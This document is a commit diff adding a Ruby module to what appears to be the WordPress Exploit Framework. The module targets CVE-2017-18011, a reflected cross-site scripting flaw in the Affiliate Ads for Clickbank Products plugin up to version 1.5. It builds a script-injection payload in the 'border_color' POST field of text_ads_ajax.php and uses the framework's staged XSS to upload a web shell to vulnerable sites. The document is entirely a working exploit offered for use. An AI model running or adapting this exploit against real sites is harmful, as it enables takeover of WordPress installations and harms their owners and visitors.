Add Affiliate Ads Builder <= 1.5 reflected XSS shell upload

Author: rastating

modules/exploit/xss/reflected/affiliate_ads_builder_xss_shell_upload.rb

@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::AffiliateAdsBuilderReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Affiliate Ads for Clickbank Products <= 1.5 Reflected XSS Shell Upload',
+      author: [
+        'Ricardo Sanchez', # Disclosure
+        'rastating'        # WPXF module
+      ],
+      references: [
+        ['CVE', '2017-18011'],
+        ['WPVDB', '8989']
+      ],
+      date: 'Nov 14 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('affiliate-ads-builder-for-clickbank-products', '1.6')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_plugins, 'affiliate-ads-builder-for-clickbank-products', 'text_ads_ajax.php')
+  end
+
+  def xss_payload
+    "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'show_product_descr' => '1',
+      'show_read_more_btn' => '1',
+      'default_font_family' => '1',
+      'fill_color' => '1',
+      'border_color' => xss_payload,
+      'link_color' => '2',
+      'kws' => '1',
+      'cols' => '1',
+      'rows' => '1',
+      'ref' => '1',
+      'descr_color' => '1',
+      'height_adjustment' => '1',
+      'hide_footer' => '0'
+    )
+  end
+end